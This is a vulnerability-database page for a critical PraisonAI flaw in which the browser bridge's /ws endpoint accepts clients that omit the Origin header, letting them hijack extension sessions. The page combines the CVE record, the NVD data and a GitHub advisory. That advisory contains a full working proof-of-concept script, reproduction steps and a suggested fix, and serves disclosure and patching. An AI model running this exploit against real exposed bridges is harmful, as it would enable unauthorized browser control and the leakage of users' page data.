Vulnerability-Lookup

CVE-2026-40289 (GCVE-0-2026-40289)

Vulnerability from cvelistv5 – Published: 2026-04-14 03:05 – Updated: 2026-04-14 03:05

Title

PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

Summary

PraisonAI is a multi-agent teams system. In versions below 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents, the browser bridge (praisonai browser start) is vulnerable to unauthenticated remote session hijacking due to missing authentication and a bypassable origin check on its /ws WebSocket endpoint. The server binds to 0.0.0.0 by default and only validates the Origin header when one is present, meaning any non-browser client that omits the header is accepted without restriction. An unauthenticated network attacker can connect, send a start_session message, and the server will route it to the first idle browser-extension WebSocket (effectively hijacking that session) and then broadcast all resulting automation actions and outputs back to the attacker. This enables unauthorized remote control of connected browser automation sessions, leakage of sensitive page context and automation results, and misuse of model-backed browser actions in any environment where the bridge is network-reachable. This issue has been fixed in versions 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M

References

URL

FKIE_CVE-2026-40289

Vulnerability from fkie_nvd - Published: 2026-04-14 04:17 - Updated: 2026-04-14 04:17

Severity ?

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8x8f-54wf-vv92

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. In versions below 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents, the browser bridge (praisonai browser start) is vulnerable to unauthenticated remote session hijacking due to missing authentication and a bypassable origin check on its /ws WebSocket endpoint. The server binds to 0.0.0.0 by default and only validates the Origin header when one is present, meaning any non-browser client that omits the header is accepted without restriction. An unauthenticated network attacker can connect, send a start_session message, and the server will route it to the first idle browser-extension WebSocket (effectively hijacking that session) and then broadcast all resulting automation actions and outputs back to the attacker. This enables unauthorized remote control of connected browser automation sessions, leakage of sensitive page context and automation results, and misuse of model-backed browser actions in any environment where the bridge is network-reachable. This issue has been fixed in versions 4.5.139 of PraisonAI and 1.5.140 of praisonaiagents."
    }
  ],
  "id": "CVE-2026-40289",
  "lastModified": "2026-04-14T04:17:12.710",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-14T04:17:12.710",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8x8f-54wf-vv92"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-8X8F-54WF-VV92

Vulnerability from github – Published: 2026-04-10 19:32 – Updated: 2026-04-10 19:32

Summary

PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

Details

Summary

praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send start_session, cause the server to forward start_automation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details

The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30
Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173
Unauthenticated start_session routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302
Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356
Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

origin = websocket.headers.get("origin")
if origin:
    ...
    if not is_allowed:
        await websocket.close(code=1008)
        return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"start_session", ...}. The server then looks for the first other websocket without a session and sends it a start_automation message:

if client_conn != conn and client_conn.websocket and not client_conn.session_id:
    await client_conn.websocket.send_text(json_mod.dumps(start_msg))
    client_conn.session_id = session_id
    sent_to_extension = True
    break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same session_id, including the unauthenticated initiating client:

action_response = {
    "type": "action",
    "session_id": session_id,
    **action,
}

for client_id, client_conn in self._connections.items():
    if client_conn.session_id == session_id and client_conn != conn:
        await client_conn.websocket.send_json(action_response)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC

I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI"
./tmp/pocs/poc.sh

Expected vulnerable output:

[+] No-Origin client accepted: True
[+] Session forwarded to extension: True
[+] Action broadcast to attacker: True
[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

Start the local browser bridge from the checked-out source tree.
Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin.
Connect a second websocket with no Origin header.
Send start_session from the unauthenticated websocket.
Observe that the server forwards start_automation to the extension websocket.
Send an observation from the extension websocket using the assigned session_id.
Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPT_DIR/../.."

exec uv run --no-project \
  --with fastapi \
  --with uvicorn \
  --with websockets \
  python3 "$SCRIPT_DIR/poc.py"

tmp/pocs/poc.py:

#!/usr/bin/env python3
"""Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects:
1. A fake extension client using an arbitrary chrome-extension Origin
2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the
extension connection, and can receive the resulting action broadcast back over
that hijacked session.
"""

from __future__ import annotations

import asyncio
import json
import os
import socket
import sys
import tempfile
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[2]
SRC_ROOT = REPO_ROOT / "src" / "praisonai"
if str(SRC_ROOT) not in sys.path:
    sys.path.insert(0, str(SRC_ROOT))


def _pick_port() -> int:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


class DummyBrowserAgent:
    """Minimal stub to avoid real LLM/browser dependencies during validation."""

    def __init__(self, model: str, max_steps: int, verbose: bool):
        self.model = model
        self.max_steps = max_steps
        self.verbose = verbose

    async def aprocess_observation(self, message: dict) -> dict:
        return {
            "action": "done",
            "thought": f"processed: {message.get('url', '')}",
            "done": True,
            "summary": "dummy action generated",
        }


async def main() -> int:
    temp_home = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-")
    os.environ["HOME"] = temp_home.name

    from praisonai.browser.server import BrowserServer
    import praisonai.browser.agent as agent_module
    import uvicorn
    import websockets

    agent_module.BrowserAgent = DummyBrowserAgent

    port = _pick_port()
    server = BrowserServer(host="127.0.0.1", port=port, verbose=False)
    app = server._get_app()

    config = uvicorn.Config(
        app,
        host="127.0.0.1",
        port=port,
        log_level="error",
        access_log=False,
    )
    uvicorn_server = uvicorn.Server(config)
    server_task = asyncio.create_task(uvicorn_server.serve())

    try:
        for _ in range(50):
            if uvicorn_server.started:
                break
            await asyncio.sleep(0.1)
        else:
            raise RuntimeError("Uvicorn server did not start in time")

        ws_url = f"ws://127.0.0.1:{port}/ws"

        async with websockets.connect(
            ws_url,
            origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
        ) as extension_ws:
            extension_welcome = json.loads(await extension_ws.recv())
            print("[+] Extension welcome:", extension_welcome)

            async with websockets.connect(ws_url) as attacker_ws:
                attacker_welcome = json.loads(await attacker_ws.recv())
                print("[+] Attacker welcome:", attacker_welcome)

                await attacker_ws.send(
                    json.dumps(
                        {
                            "type": "start_session",
                            "goal": "Open internal admin page and reveal secrets",
                            "model": "dummy",
                            "max_steps": 1,
                        }
                    )
                )
                start_response = json.loads(await attacker_ws.recv())
                print("[+] Attacker start_session response:", start_response)

                hijacked_msg = json.loads(await extension_ws.recv())
                print("[+] Extension received forwarded message:", hijacked_msg)

                session_id = hijacked_msg["session_id"]
                await extension_ws.send(
                    json.dumps(
                        {
                            "type": "observation",
                            "session_id": session_id,
                            "step_number": 1,
                            "url": "https://victim.example/internal",
                            "elements": [{"selector": "#secret"}],
                        }
                    )
                )

                attacker_action = json.loads(await attacker_ws.recv())
                attacker_status = json.loads(await attacker_ws.recv())
                print("[+] Attacker received broadcast action:", attacker_action)
                print("[+] Attacker received completion status:", attacker_status)

                no_origin_client_connected = attacker_welcome.get("status") == "connected"
                forwarded_to_extension = hijacked_msg.get("type") == "start_automation"
                action_broadcasted = (
                    attacker_action.get("type") == "action"
                    and attacker_action.get("session_id") == session_id
                )

                print("[+] No-Origin client accepted:", no_origin_client_connected)
                print("[+] Session forwarded to extension:", forwarded_to_extension)
                print("[+] Action broadcast to attacker:", action_broadcasted)

                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:
                    print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.")
                    return 0

                print("[-] RESULT: NOT VULNERABLE")
                return 1
    finally:
        uvicorn_server.should_exit = True
        try:
            await asyncio.wait_for(server_task, timeout=5)
        except Exception:
            server_task.cancel()
        temp_home.cleanup()


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact

This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

Operators who run praisonai browser start with the default host binding
Users with an active connected browser extension session
Environments where the bridge is reachable from other hosts on the network

Recommended Fix

Suggested remediations:

Require explicit authentication for every websocket client connecting to /ws.
Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport.
Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure.
Do not route start_session to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

Severity ?

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.139"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.140"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.138"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.139"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:32:59Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`praisonai browser start` exposes the browser bridge on `0.0.0.0` by default, and its `/ws` endpoint accepts websocket clients that omit the `Origin` header entirely. An unauthenticated network client can connect as a fake controller, send `start_session`, cause the server to forward `start_automation` to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.\n\n### Details\nThe issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.\n\nRelevant code paths:\n\n- Default network exposure: `src/praisonai/praisonai/browser/server.py:38-44` and `src/praisonai/praisonai/browser/cli.py:25-30`\n- Optional-only origin validation: `src/praisonai/praisonai/browser/server.py:156-173`\n- Unauthenticated `start_session` routing: `src/praisonai/praisonai/browser/server.py:237-240` and `src/praisonai/praisonai/browser/server.py:289-302`\n- Cross-connection forwarding to any other idle websocket: `src/praisonai/praisonai/browser/server.py:344-356`\n- Broadcast of action output back to the initiating unauthenticated client: `src/praisonai/praisonai/browser/server.py:412-423` and `src/praisonai/praisonai/browser/server.py:462-476`\n\nThe handshake logic only checks origin when an `Origin` header is present:\n\n```python\norigin = websocket.headers.get(\"origin\")\nif origin:\n    ...\n    if not is_allowed:\n        await websocket.close(code=1008)\n        return\n\nawait websocket.accept()\n```\n\nThis means a non-browser client can omit `Origin` completely and still be accepted.\n\nAfter that, any connected client can send `{\"type\":\"start_session\", ...}`. The server then looks for the first other websocket without a session and sends it a `start_automation` message:\n\n```python\nif client_conn != conn and client_conn.websocket and not client_conn.session_id:\n    await client_conn.websocket.send_text(json_mod.dumps(start_msg))\n    client_conn.session_id = session_id\n    sent_to_extension = True\n    break\n```\n\nWhen the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same `session_id`, including the unauthenticated initiating client:\n\n```python\naction_response = {\n    \"type\": \"action\",\n    \"session_id\": session_id,\n    **action,\n}\n\nfor client_id, client_conn in self._connections.items():\n    if client_conn.session_id == session_id and client_conn != conn:\n        await client_conn.websocket.send_json(action_response)\n```\n\nI verified this on the latest local checkout: `praisonai` version `4.5.134` at commit `365f75040f4e279736160f4b6bdb2bdb7a3968d4`.\n\n### PoC\nI used `tmp/pocs/poc.sh` to reproduce the issue from a clean local checkout.\n\nRun:\n\n```bash\ncd \"/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI\"\n./tmp/pocs/poc.sh\n```\n\nExpected vulnerable output:\n\n```text\n[+] No-Origin client accepted: True\n[+] Session forwarded to extension: True\n[+] Action broadcast to attacker: True\n[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.\n```\n\nStep-by-step reproduction:\n\n1. Start the local browser bridge from the checked-out source tree.\n2. Connect one websocket as a stand-in extension using a valid `chrome-extension://\u003c32-char-id\u003e` origin.\n3. Connect a second websocket with no `Origin` header.\n4. Send `start_session` from the unauthenticated websocket.\n5. Observe that the server forwards `start_automation` to the extension websocket.\n6. Send an `observation` from the extension websocket using the assigned `session_id`.\n7. Observe that the resulting `action` and completion `status` are delivered back to the unauthenticated initiating websocket.\n\n`tmp/pocs/poc.sh`:\n\n```sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\n\ncd \"$SCRIPT_DIR/../..\"\n\nexec uv run --no-project \\\n  --with fastapi \\\n  --with uvicorn \\\n  --with websockets \\\n  python3 \"$SCRIPT_DIR/poc.py\"\n```\n\n`tmp/pocs/poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Verify unauthenticated browser-server session hijack on current source tree.\n\nThis PoC starts the BrowserServer from the local checkout, connects:\n1. A fake extension client using an arbitrary chrome-extension Origin\n2. An attacker client with no Origin header\n\nIt then shows the attacker can start a session that the server forwards to the\nextension connection, and can receive the resulting action broadcast back over\nthat hijacked session.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport socket\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[2]\nSRC_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\nif str(SRC_ROOT) not in sys.path:\n    sys.path.insert(0, str(SRC_ROOT))\n\n\ndef _pick_port() -\u003e int:\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\nclass DummyBrowserAgent:\n    \"\"\"Minimal stub to avoid real LLM/browser dependencies during validation.\"\"\"\n\n    def __init__(self, model: str, max_steps: int, verbose: bool):\n        self.model = model\n        self.max_steps = max_steps\n        self.verbose = verbose\n\n    async def aprocess_observation(self, message: dict) -\u003e dict:\n        return {\n            \"action\": \"done\",\n            \"thought\": f\"processed: {message.get(\u0027url\u0027, \u0027\u0027)}\",\n            \"done\": True,\n            \"summary\": \"dummy action generated\",\n        }\n\n\nasync def main() -\u003e int:\n    temp_home = tempfile.TemporaryDirectory(prefix=\"praisonai-browser-poc-\")\n    os.environ[\"HOME\"] = temp_home.name\n\n    from praisonai.browser.server import BrowserServer\n    import praisonai.browser.agent as agent_module\n    import uvicorn\n    import websockets\n\n    agent_module.BrowserAgent = DummyBrowserAgent\n\n    port = _pick_port()\n    server = BrowserServer(host=\"127.0.0.1\", port=port, verbose=False)\n    app = server._get_app()\n\n    config = uvicorn.Config(\n        app,\n        host=\"127.0.0.1\",\n        port=port,\n        log_level=\"error\",\n        access_log=False,\n    )\n    uvicorn_server = uvicorn.Server(config)\n    server_task = asyncio.create_task(uvicorn_server.serve())\n\n    try:\n        for _ in range(50):\n            if uvicorn_server.started:\n                break\n            await asyncio.sleep(0.1)\n        else:\n            raise RuntimeError(\"Uvicorn server did not start in time\")\n\n        ws_url = f\"ws://127.0.0.1:{port}/ws\"\n\n        async with websockets.connect(\n            ws_url,\n            origin=\"chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n        ) as extension_ws:\n            extension_welcome = json.loads(await extension_ws.recv())\n            print(\"[+] Extension welcome:\", extension_welcome)\n\n            async with websockets.connect(ws_url) as attacker_ws:\n                attacker_welcome = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker welcome:\", attacker_welcome)\n\n                await attacker_ws.send(\n                    json.dumps(\n                        {\n                            \"type\": \"start_session\",\n                            \"goal\": \"Open internal admin page and reveal secrets\",\n                            \"model\": \"dummy\",\n                            \"max_steps\": 1,\n                        }\n                    )\n                )\n                start_response = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker start_session response:\", start_response)\n\n                hijacked_msg = json.loads(await extension_ws.recv())\n                print(\"[+] Extension received forwarded message:\", hijacked_msg)\n\n                session_id = hijacked_msg[\"session_id\"]\n                await extension_ws.send(\n                    json.dumps(\n                        {\n                            \"type\": \"observation\",\n                            \"session_id\": session_id,\n                            \"step_number\": 1,\n                            \"url\": \"https://victim.example/internal\",\n                            \"elements\": [{\"selector\": \"#secret\"}],\n                        }\n                    )\n                )\n\n                attacker_action = json.loads(await attacker_ws.recv())\n                attacker_status = json.loads(await attacker_ws.recv())\n                print(\"[+] Attacker received broadcast action:\", attacker_action)\n                print(\"[+] Attacker received completion status:\", attacker_status)\n\n                no_origin_client_connected = attacker_welcome.get(\"status\") == \"connected\"\n                forwarded_to_extension = hijacked_msg.get(\"type\") == \"start_automation\"\n                action_broadcasted = (\n                    attacker_action.get(\"type\") == \"action\"\n                    and attacker_action.get(\"session_id\") == session_id\n                )\n\n                print(\"[+] No-Origin client accepted:\", no_origin_client_connected)\n                print(\"[+] Session forwarded to extension:\", forwarded_to_extension)\n                print(\"[+] Action broadcast to attacker:\", action_broadcasted)\n\n                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:\n                    print(\"[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.\")\n                    return 0\n\n                print(\"[-] RESULT: NOT VULNERABLE\")\n                return 1\n    finally:\n        uvicorn_server.should_exit = True\n        try:\n            await asyncio.wait_for(server_task, timeout=5)\n        except Exception:\n            server_task.cancel()\n        temp_home.cleanup()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n`tmp/pocs/poc.py` starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e\n\n\n\n### Impact\nThis is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.\n\nWho is impacted:\n\n- Operators who run `praisonai browser start` with the default host binding\n- Users with an active connected browser extension session\n- Environments where the bridge is reachable from other hosts on the network\n\n### Recommended Fix\nSuggested remediations:\n\n1. Require explicit authentication for every websocket client connecting to `/ws`.\n2. Reject websocket handshakes that omit `Origin`, unless they are using a separate authenticated localhost-only transport.\n3. Bind the browser bridge to `127.0.0.1` by default and require explicit operator opt-in for non-loopback exposure.\n4. Do not route `start_session` to \u201cthe first other idle connection\u201d; instead, pair authenticated controller and extension clients explicitly.",
  "id": "GHSA-8x8f-54wf-vv92",
  "modified": "2026-04-10T19:32:59Z",
  "published": "2026-04-10T19:32:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8x8f-54wf-vv92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.139"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-40289 (GCVE-0-2026-40289)

FKIE_CVE-2026-40289

GHSA-8X8F-54WF-VV92

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature